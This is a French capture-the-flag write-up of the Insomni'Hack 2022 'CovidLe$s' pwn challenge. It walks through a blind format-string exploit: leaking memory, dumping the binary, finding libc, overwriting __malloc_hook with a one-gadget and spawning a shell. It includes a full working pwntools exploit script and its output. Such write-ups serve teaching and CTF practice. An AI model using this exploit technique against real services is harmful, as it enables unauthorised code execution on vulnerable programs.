man hidden in lines of code

Insomni'Hack CTF Teaser 2022 CovidLe$s

A la Une25/02/2022

Par Florian Picca

Dans ce challenge, nous devons réaliser un exploit de type "format string" à l'aveugle pour obtenir un shell et lire le flag.

Détails
 

  • Catégorie : pwn
  • Points : 74
  • Résolutions : 81

Description

nc covidless.insomnihack.ch 6666

Comprendre le problème

Lors de la connexion au serveur, nous pouvons entrer des données qui seront renvoyées :

$ nc covidless.insomnihack.ch 6666
l
Your covid pass is invalid : l
try again ..

%p
Your covid pass is invalid : 0x400934
try again ..

Comme nous pouvons le voir, il s'agit d'un exploit de chaîne de format, mais le code source n'est pas fourni.

Nous pouvons rapidement identifier que l'ASLR est activée mais que PIE ne l'est pas, car les adresses de la libc changent entre les exécutions, mais pas celles du binaire:

$ nc covidless.insomnihack.ch 6666
%p %p %p %p
Your covid pass is invalid : 0x400934 (nil) (nil) 0x7f5c1aa67580
try again ..

$ nc covidless.insomnihack.ch 6666
%p %p %p %p
Your covid pass is invalid : 0x400934 (nil) (nil) 0x7f03e23b2580
try again ..

Nous avons également remarqué qu'il s'agit d'une architecture 64 bits.

Résoudre le problème

Nous pouvons utiliser la chaîne de format pour faire fuir le binaire, les adresses de la libc et les entrées de la GOT, déjouant ainsi l’ASLR.

Nous ne savions pas si RELRO (full) est activé ou non, donc notre idée était d’écraser __malloc_hook avec l’adresse du one gadget et de forcer un appel à malloc en appelant printf avec un grand formateur.

Implémentation de la solution
 

La première étape consiste à trouver un moyen de lire à une adresse arbitraire. Pour cela, nous pouvons nous servir du formateur %s.

En soumettant plusieurs %p, nous pouvons voir que notre entrée est reflétée après le 12ème formateur :

$ nc covidless.insomnihack.ch 6666
ABCDEFGH %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Your covid pass is invalid : ABCDEFGH 0x400934 (nil) (nil) 0x7f03e23b2580 0x7f03e21868d0 0x74346e3143633456 0x505f44315f6e6f31 0x5379334b5f763172 0x5f74304e6e34635f 0xa6b34336c (nil) 0x4847464544434241 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0xa70252070
try again ..

Notre fonction de lecture à une adresse arbitraire est donc la suivante :

conn = remote("covidless.insomnihack.ch", 6666)

def read(addr):
    conn.sendline(b"%0013$s,"+p64(addr))
    conn.recvuntil(b": ")
    data = conn.recvuntil(b",", drop=True)
    conn.recvuntil(b"try again ..\n\n")
    return data, len(data)

Comme les adresses 64 bits contiennent des octets nuls, nous avons dû placer l’adresse à la fin de notre payload, c’est pourquoi l’offset est ici de 13 et non de 12.

En utilisant cette fonction, nous avons écrit une autre fonction pour extraire autant d’octets que possible du binaire :

def dump(start=0x400000, size=0xa00):
    data = b''
    end = start + size
    while start < end:
        if start & 0xFF != 0x0a:
            d, c = read(start)
        else:
            d, c = b'\x00', 1
        if c == 0:
            d = b'\x00'
            c = 1
        data += d
        start += c
    return data

with open("out.bin", "wb") as f:
    f.write(dump())

Seul le début du binaire peut être extrait, mais il semble correct :

$ file out.bin 
out.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers at 8616

Parce que le binaire est incomplet, il ne peut pas être ouvert facilement dans IDA. Mais nous pouvons le considérer comme un binaire brut et dire à IDA où décompiler. Nous avons récupéré le point d’entrée dans les en-têtes ELF en utilisant readelf :

$ readelf -e out.bin 
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400650
  Start of program headers:          64 (bytes into file)
  Start of section headers:          6824 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         29
  Section header string table index: 28
readelf: Error: Reading 1856 bytes extends past end of file for section headers

Après avoir identifié la fonction main, et certaines des fonctions importées comme printf et puts, nous pouvons obtenir leurs adresses d’entrée dans la GOT à partir de la PLT, qui est contenue dans notre dump.

L’adresse de la GOT de printf est donc 0x601028 et celle de puts est 0x601018.

En utilisant notre fonction read, nous pouvons faire fuir leurs adresses dans la libc :

# printf
print(read(0x601028)[0].hex())

# puts
print(read(0x601018)[0].hex())

# 803e4568207f
# c0f94668207f

Depuis le site libc database, nous téléchargeons la libc correspondante et pouvons rechercher le one gadget :

$ one_gadget libc6_2.27-3ubuntu1_amd64.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

L’offset de __malloc_hook est 0x3ebc30.

Nous pouvons utiliser l’adresse de printf obtenue précédemment pour claculer l’adresse de base de la libc.

printf = u64(read(0x601028)[0]+b'\x00'*2)
print(f"printf : {hex(printf)}")
libc = printf - 0x064e80 # from libc database
print(f"libc base : {hex(libc)}")
# check with /bin/sh
print(read(libc+0x1b3e9a)[0])

# printf : 0x7fa7c9db6e80
# libc base : 0x7fa7c9d52000
# b'/bin/sh'

Nous pouvons construire une fonction qui écrira un seul octet à une adresse arbitraire en utilisant l’opérateur %hhn :

def writeByte(x, addr):
    conn.sendline(f"%{x:06}X%14$hhn,".encode() + p64(addr))
    conn.recvuntil(b"try again ..\n\n")

En utilisant la fonction ci-dessus, nous pouvons en créer une autre qui écrira un QWORD à une adresse arbitraire :

def writeGX(gx, addr):
    a = gx & 0xFF
    if a : writeByte(a, addr)
    a = (gx & 0xFF00) >> 8
    if a : writeByte(a, addr+1)
    a = (gx & 0xFF0000) >> 16
    if a : writeByte(a, addr+2)
    a = (gx & 0xFF000000) >> 24
    if a : writeByte(a, addr+3)
    a = (gx & 0xFF00000000) >> 32
    if a : writeByte(a, addr + 4)
    a = (gx & 0xFF0000000000) >> 40
    if a : writeByte(a, addr + 5)
    a = (gx & 0xFF000000000000) >> 48
    if a : writeByte(a, addr + 6)
    a = (gx & 0xFF00000000000000) >> 56
    if a : writeByte(a, addr + 7)

Nous pouvons alors utiliser cette fonction pour écraser __malloc_hook avec l’adresse du one gadget :

one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
shell = libc + one_gadgets[1]
print(f"one gadget : {hex(shell)}")

malloc_hook = libc+0x3ebc30
writeGX(shell, malloc_hook)

# check overwrite
print(read(malloc_hook)[0].hex())

# one gadget : 0x7f1dd0b34322
# 2243b3d01d7f

Nous pouvons déclencher l’appel à __malloc_hook en affichant une (très) grande chaîne de caractères avec printf en utilisant un formateur :

conn.sendline("%74567p")
conn.sendline("id")
conn.interactive()

# [*] Switching to interactive mode
# uid=1000(covidless) gid=1000(covidless) groups=1000(covidless)

L’exploit complet est présenté ci-dessous :

from pwn import *

def read(addr):
    conn.sendline(b"%0013$s,"+p64(addr))
    conn.recvuntil(b": ")
    data = conn.recvuntil(b",", drop=True)
    conn.recvuntil(b"try again ..\n\n")
    return data, len(data)

def writeByte(x, addr):
    conn.sendline(f"%{x:06}X%14$hhn,".encode() + p64(addr))
    conn.recvuntil(b"try again ..\n\n")

def writeGX(gx, addr):
    a = gx & 0xFF
    if a : writeByte(a, addr)
    a = (gx & 0xFF00) >> 8
    if a : writeByte(a, addr+1)
    a = (gx & 0xFF0000) >> 16
    if a : writeByte(a, addr+2)
    a = (gx & 0xFF000000) >> 24
    if a : writeByte(a, addr+3)
    a = (gx & 0xFF00000000) >> 32
    if a : writeByte(a, addr + 4)
    a = (gx & 0xFF0000000000) >> 40
    if a : writeByte(a, addr + 5)
    a = (gx & 0xFF000000000000) >> 48
    if a : writeByte(a, addr + 6)
    a = (gx & 0xFF00000000000000) >> 56
    if a : writeByte(a, addr + 7)

def dump(start=0x400000, size=0xa00):
    data = b''
    end = start + size
    while start < end:
        if start & 0xFF != 0x0a:
            d, c = read(start)
        else:
            d, c = b'\x00', 1
        if c == 0:
            d = b'\x00'
            c = 1
        data += d
        start += c
    return data

conn = remote("covidless.insomnihack.ch", 6666)

printf = u64(read(0x601028)[0]+b'\x00'*2)
print(f"printf : {hex(printf)}")
libc = printf - 0x064e80 # from libc database
print(f"libc base : {hex(libc)}")
# check with /bin/sh
print(read(libc+0x1b3e9a)[0])

one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
shell = libc + one_gadgets[1]
print(f"one gadget : {hex(shell)}")

malloc_hook = libc+0x3ebc30
writeGX(shell, malloc_hook)

# check overwrite
print(read(malloc_hook)[0].hex())

conn.sendline("%74567p")
conn.sendline("id")
conn.interactive()

conn.close()


Flag : INS{F0rm4t_5tR1nGs_FuULly_Bl1nd_!Gj!}

Nos autres actualités